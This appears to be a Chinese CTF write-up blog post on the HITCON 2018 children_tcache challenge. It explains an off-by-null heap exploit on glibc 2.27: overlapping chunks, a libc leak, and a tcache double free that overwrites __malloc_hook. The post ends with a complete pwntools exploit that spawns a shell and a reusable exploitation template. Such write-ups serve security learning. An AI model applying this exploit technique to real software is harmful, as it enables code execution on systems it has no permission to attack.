zoukankan      html  css  js  c++  java
  • ubuntu18.04下的off-by-null:hitcon_2018_children_tcache

    又没做出来,先说说自己的思路

    因为是off-by-null,所以准备构造重叠的chunk,但是发现程序里有memset,给构造prev size造成重大问题

    所以来详细记录一下做题过程

    先逆向,IDA里几个重要的点来记录一下

    然后程序没有edit功能

    思路:申请四个chunk

    0,1,2,3

    1来溢出到2,改2的size和prevsize,然后free2,把0,1都包含进去,申请合适大小chunk,利用1来泄漏地址

    再申请一个和1相同size的chunk,这时有两个指针指向1,来个double free(tcache yyds),然后申请一次,p64(malloc_hook),然后申请两次拿shell

    难点也是关键点:如何修改prev size

    add(0x410,'unsorted bin')    # 0
    add(0x68,'overflow')    #1
    add(0x4f0,'lemon')    # 2
    add(0x10,'protect')    # 3
    
    free(0)        # 之后y有unlink检查,所以我们先free一下,借助系统给我们的unsorted bin指针绕过检查
    free(1)

    1号chunk 0x68是为了利用下一个chunk prevsize的复用

    而且0号chunk 的size为unsorted bin大小是为了后面free2的时候向前合并可通过unlink 检查,这也是提前free 0的理由

     可以看到这里prevsize由于free前的memset,很棘手,如果我们add的时候写入p64(size),那么由于我们不是直接写入的,而是strcpy的,所以遇到00就截断了,导致高位依然是0xda

    这个时候有个很巧妙的处理方法,就是利用strcpy本身的特性,如果我们把前一块chunk free掉,add(0x67,0x67 * 'a'),那么chunk size还是0x71,2号chunk的prev size的高位会被'x00'覆盖

    而且当我们再次free的时候,memset(mem,0xda,mem_size),并不是将0x68的空间都置为0xda,而是将0x67的空间置为0xda,所以我们可以依次递减size,一直到prev size被置空

    for i in range(0,6):
        add(0x68-i,(0x68-i) * b'a')
        free(0)

    我们先循环六次,看看堆空间的内存分布是怎么样的

    可以看到这时的高位被有效置空了,所以我们只需要增大循环次数即可

    for i in range(0,9):
        add(0x68-i,(0x68-i) * b'a')
        free(0)

    可以看到,这个时候prev size清空,而且size的in use位被置0

     接下来伪造prev size,然后free 2,向前合并将1号chunk包含进去

    add(0x68,b'b' * 0x60 + p64(0x490))    # 0
    free(2)        # 向前合并

    成功向前合并

    然后泄漏libc,这里的0x410是经过计算的,目的就是为了和heaparray中的指针对应起来,导致可泄漏libc

    add(0x410,'a')    # 1,这个地方chunk size必须是0x420,否则无法泄漏libc
    show(0)            # 此处由于add了0x418,然后原来的0x68大小的chunk就会作为新unsorted bin头部,自然也就包含了残留的堆指针,而且此时我们并没有free它
    leak = u64(p.recvuntil('x7f')[-6:].ljust(8,b'x00')) - 96 - 0x10
    print("[*] leak:",hex(leak))

    接下来我们再申请0x68大小的chunk,这时就有两个堆指针指向同一块内存区域了(原先的1号chunk 0x68)

    所以我们可以free两次,在fd写入__malloc_hook,然后在malloc hook部分写入gadget

    add(0x68,'b')    # 2
    
    free(0)    # 此时0和2指向同一块chunk
    free(2)    # double free,可以change fd pointer了
    
    one_gadget_list = [0x4f2c5,0x4f322,0x10a38c]
    one_gadget = libc_base + one_gadget_list[2]
    
    add(0x68,p64(__malloc_hook))
    add(0x68,'lemon')
    add(0x68,p64(one_gadget))

    总结模板化一下

    ubuntu18下可以用这种模版来打off-by-null,16不适用,因为后面有个double free的操作

    add(size0,index 0)  <--unsorted bin

    add(size1,index 1)

    add(size2,index 2)

    add(size protected,index 3)

    free(0)

    通过1来overflow 2,写入prev size 和 size2 in use

    free(2)

    add(size0)

    leak libc by show 1

    add(size1 , index 4)  <-- 1和4都指向了同一块内存

    free(1)   free(4)

    add

    add

    add

    getshell

    下面是完整exp

    from pwn import *
    
    '''
    author: lemon
    time: 2020-10-17
    libc: libc-2.23.so
    python version: python3
    '''
    
    local = 1
    
    binary = "./HITCON_2018_children_tcache"
    libc_path = './libc-2.27.so'
    port = "26851"
    
    if local == 1:
        p = process(binary)
    else:
        p = remote("node3.buuoj.cn",port)
    
    def dbg():
        context.log_level = 'debug'
    
    context.terminal = ['tmux','splitw','-h']
    
    def add(size,content):
        p.sendlineafter('Your choice: ','1')
        p.sendlineafter('Size:',str(size))
        p.sendafter('Data:',content)
    
    def free(index):
        p.sendlineafter('Your choice:','3')
        p.sendlineafter('Index:',str(index))
    
    def show(index):
        p.sendlineafter('Your choice: ','2')
        p.sendlineafter('Index:',str(index))
    
    def leak_libc(addr):
        global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
        libc = ELF(libc_path)
        libc_base = addr - libc.sym['__malloc_hook']
        print("[*] libc base:",hex(libc_base))
        __malloc_hook = libc_base + libc.sym['__malloc_hook']
        system = libc_base + libc.sym['system']
        binsh_addr = libc_base + libc.search(b'/bin/sh').__next__()
        __free_hook = libc_base + libc.sym['__free_hook']
        _IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']    
    
    
    add(0x410,'unsorted bin')    # 0
    add(0x68,'overflow')    #1
    add(0x4f0,'lemon')    # 2
    add(0x10,'protect')    # 3
    
    free(0)        # 之后有unlink检查,所以我们先free一下,借助系统给我们的unsorted bin指针绕过检查
    free(1)
    
    for i in range(0,9):
        add(0x68-i,(0x68-i) * b'a')
        free(0)
    
    add(0x68,b'b' * 0x60 + p64(0x490))    # 0
    free(2)        # 向前合并
        
    add(0x410,'a')    # 1,这个地方chunk size必须是0x420,否则无法泄漏libc
    show(0)            # 此处由于add了0x418,然后原来的0x68大小的chunk就会作为新unsorted bin头部,自然也就包含了残留的堆指针,而且此时我们并没有free它
    leak = u64(p.recvuntil('x7f')[-6:].ljust(8,b'x00')) - 96 - 0x10
    print("[*] leak:",hex(leak))
    
    leak_libc(leak)
    
    add(0x68,'b')    # 2
    
    free(0)    # 此时0和2指向同一块chunk
    free(2)    # double free,可以change fd pointer了
    
    one_gadget_list = [0x4f2c5,0x4f322,0x10a38c]
    one_gadget = libc_base + one_gadget_list[2]
    
    add(0x68,p64(__malloc_hook))
    add(0x68,'lemon')
    add(0x68,p64(one_gadget))
    
    gdb.attach(p)
    p.interactive()

  • 相关阅读:
    修改CentOS 6.4 root用户的系统默认语言设置
    Xpages学习
    Mysql 执行sql脚本文件
    Errors occurred during the build. Errors running builder 'JavaScript Validator' on project 'XXX'.
    【鸟哥学习笔记】之一:目录的权限问题
    学习C++的一些问题总结
    C# 一些知识点总结(一)_继承,多态,集合,关键字...
    .NET Framework 框架的一些简单介绍
    Winform窗体关闭时判断是否关闭
    SQL Server 数据库的安全管理(登录、角色、权限)
  • 原文地址:https://www.cnblogs.com/lemon629/p/13832843.html
Copyright © 2011-2022 走看看